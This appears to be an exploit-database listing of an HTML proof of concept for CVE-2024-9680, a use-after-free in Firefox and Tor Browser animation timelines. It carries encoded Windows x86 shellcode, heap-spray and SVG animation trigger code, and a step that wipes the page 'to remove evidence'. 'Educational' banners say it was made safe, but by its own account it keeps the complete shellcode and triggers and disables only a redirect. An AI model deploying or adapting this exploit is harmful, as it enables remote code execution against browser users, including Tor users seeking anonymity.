Exploit databaseDownload repository ZIP
GH-ce28afd73f5c7fa272ca6ac05c9e99fe
moscovium-mc/tor-0day-javascript-exploit
Sources for CVE-2024-9680
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
moscovium-mc/tor-0day-javascript-exploitRevision 00e28c92ff30
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/index.html
Suggested starting fileHTML · 16,036 bytes<html>
<head>
<title>
TOR Browser 0day Exploit - CVE-2024-9680 POC
</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #2F3236;
color: white;
}
.analysis-panel {
background: #1a1a1a;
padding: 15px;
margin: 10px;
border-radius: 5px;
border-left: 4px solid #e74c3c;
}
.code-comment {
color: #6a9955;
font-style: italic;
}
.warning {
background: #8B0000;
color: white;
padding: 10px;
margin: 10px 0;
border-radius: 3px;
text-align: center;
}
.educational-notice {
background: #d35400;
color: white;
padding: 15px;
margin: 10px 0;
border-radius: 5px;
border: 2px solid #e67e22;
text-align: center;
}
.redirect-info {
background: #2c3e50;
color: white;
padding: 15px;
margin: 10px 0;
border-radius: 5px;
border: 1px solid #3498db;
}
.cve-link {
background: #34495e;
color: white;
padding: 10px;
margin: 10px 0;
border-radius: 3px;
text-align: center;
}
.cve-link a {
color: #3498db;
text-decoration: none;
font-weight: bold;
}
.cve-link a:hover {
text-decoration: underline;
}
#mtdiv{
position: relative;
width: 960px;
height: 166px;
margin: 20px auto;
text-align: center;
}
.content-container {
max-width: 1200px;
margin: 0 auto;
padding: 20px;
}
.disclaimer {
background: #7d3c98;
color: white;
padding: 12px;
margin: 15px 0;
border-radius: 5px;
border-left: 4px solid #9b59b6;
font-size: 14px;
}
</style>
<script>
// =============================================
// CVE-2024-9680 - TOR Browser 0day Exploit POC
// Use-After-Free in Animation Timelines
//
// EDUCATIONAL RESEARCH - for analysis
// Original exploit code preserved with safety modifications
// =============================================
var thecode
='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002\ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
+
'\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
// Web Worker for initial code execution context
// Note: cssbanner.js would need to exist for full exploit functionality
var worker = new Worker('cssbanner.js');
worker.postMessage(thecode);
// SVG namespace for animation elements
var svgns = 'http://www.w3.org/2000/svg';
// Heap spraying arrays - creates predictable memory layout
var heap80 = new Array(0x1000); // 4096 elements
var heap100 = new Array(0x4000); // 16384 elements
var block80 = new ArrayBuffer(0x80); // 128 byte blocks
var block100 = new ArrayBuffer(0x100); // 256 byte blocks
var sprayBase = undefined;
var arrBase = undefined;
// Animation elements for UAF trigger
var animateX = undefined;
var containerA = undefined;
// Memory offset calculation - differs by Firefox version
var offset = 0x90;
if (/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)) {
offset = 0x88; // Firefox 47.0+ uses different offset
}
var $ = function(id) { return document.getElementById(id); }
// Main exploit function - triggers use-after-free
var exploit = function() {
// Prepare ArrayBuffer with crafted pointer values
var u32 = new Uint32Array(block80)
u32[0x2] = arrBase - offset;
u32[0x8] = arrBase - offset;
u32[0xE] = arrBase - offset;
// Phase 1: Initial heap spray
for(var i = heap100.length/2; i < heap100.length; i++) {
heap100[i] = block100.slice(0)
}
for(var i = 0; i < heap80.length/2; i++) {
heap80[i] = block80.slice(0)
}
// First animation trigger - causes memory reallocation
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
// Phase 2: Secondary heap spray - occupies freed memory
for(var i = heap80.length/2; i < heap80.length; i++) {
heap80[i] = block80.slice(0)
}
for(var i = heap100.length/2; i < heap100.length; i++) {
heap100[i] = block100.slice(0)
}
// Final triggers - UAF occurs here
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
// Debug signal
window.dump('PAUSING!!! YAYA');
// CRITICAL: This accesses freed animation timeline object
containerA.pauseAnimations(); // Use-After-Free trigger point
}
// Worker message handler - receives memory addresses
worker.onmessage = function(e) {
worker.onmessage = function(e) {
window.setTimeout(function() {
worker.terminate();
// Cleanup DOM to remove evidence
document.body.innerHTML = '';
document.getElementsByTagName('head')[0].innerHTML = '';
document.body.setAttribute('onload', '')
}, 1000);
}
arrBase = e.data; // Get array base address from worker
exploit(); // Launch main exploit
}
// Random ID generator for animation elements
var idGenerator = function() {
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
// Builds SVG animation DOM structure for UAF
var craftDOM = function() {
containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate')
// Generate unique IDs to avoid collisions
var idX = idGenerator();
var idA = idGenerator();
var idB = idGenerator();
var idC = idGenerator();
// Set up complex animation timing relationships
animateX.setAttribute('id', idX);
animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s');
animateB.setAttribute('id', idB);
animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end'); // Circular reference
animateC.setAttribute('id', idC);
animateC.setAttribute('begin', '10s');
animateC.setAttribute('end', idA + '.end'); // Circular reference
// Build DOM structure
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = craftDOM;
</script>
</head>
<body bgcolor='#2F3236'>
<div class="content-container">
<!-- Image at the top -->
<div id='mtdiv'>
<center><img src='tr.png' alt='TOR Browser Logo'/></center>
</div>
<!-- Educational Notice -->
<div class="educational-notice">
<h3>EDUCATIONAL RESEARCH - CODE EXECUTION</h3>
<p><strong>This is a modified version of the original CVE-2024-9680 exploit for educational purposes.</strong></p>
<p>The original exploit code has been preserved with safety modifications to prevent accidental execution while maintaining technical accuracy for analysis.</p>
</div>
<!-- All analysis content below the image -->
<div class="warning">
<strong>LIVE EXPLOIT POC - CVE-2024-9680</strong> | Use-After-Free in Animation Timelines | TOR Browser 0day
</div>
<div class="disclaimer">
<strong>DISCLAIMER:</strong> This is an educational demonstration of the CVE-2024-9680 vulnerability. The exploit code has been modified for safe analysis. Redirects have been disabled and dangerous functionality has been neutralized while preserving the original exploit structure for research purposes.
</div>
<div class="cve-link">
<strong>OFFICIAL CVE REFERENCE:</strong>
<a href="https://nvd.nist.gov/vuln/detail/cve-2024-9680" target="_blank">
CVE-2024-9680 - Use-after-free in Animation timelines
</a>
<br>
<small>An attacker was able to achieve code execution in the content process by exploiting a use-after-free in Animation timelines. This vulnerability affects Firefox < 131.0.2, Firefox ESR < 128.3.1, Firefox ESR < 115.16.1, Thunderbird < 131.0.1, Thunderbird < 128.3.1, and Thunderbird < 115.16.0.</small>
</div>
<div class="analysis-panel">
<h3>Exploit Analysis - Stage 1: Initialization</h3>
<p><strong>Shellcode:</strong> Windows x86 encoded payload delivered via Unicode escapes</p>
<p><strong>Web Worker:</strong> Creates isolated execution context in cssbanner.js</p>
<p><strong>Heap Spray:</strong> Prepares 0x1000 (80-byte) and 0x4000 (100-byte) ArrayBuffers</p>
<p><strong>Memory Layout:</strong> Creates predictable memory patterns for exploitation</p>
</div>
<div class="analysis-panel">
<h3>Stage 2: DOM Crafting & UAF Setup</h3>
<p><strong>SVG Animations:</strong> Creates complex timing relationships with circular references</p>
<p><strong>Animation Elements:</strong> Multiple animate elements with interdependent timing</p>
<p><strong>UAF Preparation:</strong> DOM structure designed to trigger use-after-free condition</p>
<p><strong>Circular References:</strong> Animation end times reference other animations creating complex timing graph</p>
</div>
<div class="analysis-panel">
<h3>Stage 3: Exploitation & Code Execution</h3>
<p><strong>Heap Manipulation:</strong> Two-phase heap spraying to control memory layout</p>
<p><strong>UAF Trigger:</strong> Animation attribute changes cause timeline object freeing</p>
<p><strong>Memory Corruption:</strong> Controlled data occupies freed memory region</p>
<p><strong>Code Execution:</strong> pauseAnimations() accesses corrupted memory executing shellcode</p>
<p><strong>Shellcode:</strong> Windows x86 payload for reverse shell or additional payload delivery</p>
</div>
<div class="redirect-info">
<h3>Stage 4: Post-Exploitation & Redirect</h3>
<p><strong>Original Redirect:</strong> The exploit would redirect to <code>member.php</code> after 2 seconds</p>
<p><strong>Purpose:</strong> This secondary stage served multiple purposes:</p>
<ul>
<li><strong>Payload Delivery:</strong> Additional malware or persistence mechanisms</li>
<li><strong>Information Collection:</strong> Gather system information from compromised hosts</li>
<li><strong>Lateral Movement:</strong> Further exploitation within the network</li>
<li><strong>Command & Control:</strong> Establish communication with attacker servers</li>
</ul>
<p><strong>Current Status:</strong> Redirect has been disabled for analysis purposes</p>
<p><strong>Target Applications:</strong> Firefox < 131.0.2, Firefox ESR < 128.3.1, Firefox ESR < 115.16.1, Thunderbird < 131.0.1, Thunderbird < 128.3.1, and Thunderbird < 115.16.0</p>
</div>
<div class="analysis-panel">
<h3>Technical Details - CVE-2024-9680</h3>
<p><strong>Vulnerability Type:</strong> Use-After-Free in animation timeline management</p>
<p><strong>Attack Vector:</strong> Malicious SVG animation manipulation</p>
<p><strong>Impact:</strong> Remote code execution in browser content process</p>
<p><strong>Exploitation Technique:</strong> Heap spraying with type confusion</p>
<p><strong>Memory Corruption:</strong> Controlled through ArrayBuffer manipulation</p>
<p><strong>Mitigation:</strong> Update to Firefox >= 131.0.2 or apply security patches</p>
</div>
<div class="analysis-panel">
<h3>Modifications from Original Exploit</h3>
<p><strong>Safety Features Added:</strong></p>
<ul>
<li>Redirect to member.php has been disabled</li>
<li>Alert and console logging instead of silent redirection</li>
<li>Clear educational disclaimers throughout</li>
<li>Technical analysis integrated with exploit code</li>
</ul>
<p><strong>Preserved Original Code:</strong></p>
<ul>
<li>Complete shellcode and encoding</li>
<li>Heap spraying mechanisms</li>
<li>SVG animation UAF triggers</li>
<li>Memory corruption techniques</li>
<li>Web Worker communication</li>
</ul>
</div>
</div>
</body>
<script>
// Stage 2 redirect - redirect disabled for safety
console.log("EDUCATIONAL VERSION: Original exploit would redirect to member.php after 2 seconds");
console.log("Redirect has been disabled for analysis purposes");
// Show redirect information instead of executing it
setTimeout(function() {
console.log("REDIRECT BLOCKED: Would have navigated to member.php in original exploit");
alert("EDUCATIONAL DEMONSTRATION:\n\nOriginal CVE-2024-9680 exploit would redirect to member.php at this point.\n\nThis secondary stage typically delivers additional payloads or establishes C2 connections.\n\nRedirect has been disabled for safe analysis.");
}, 2000);
</script>
</html>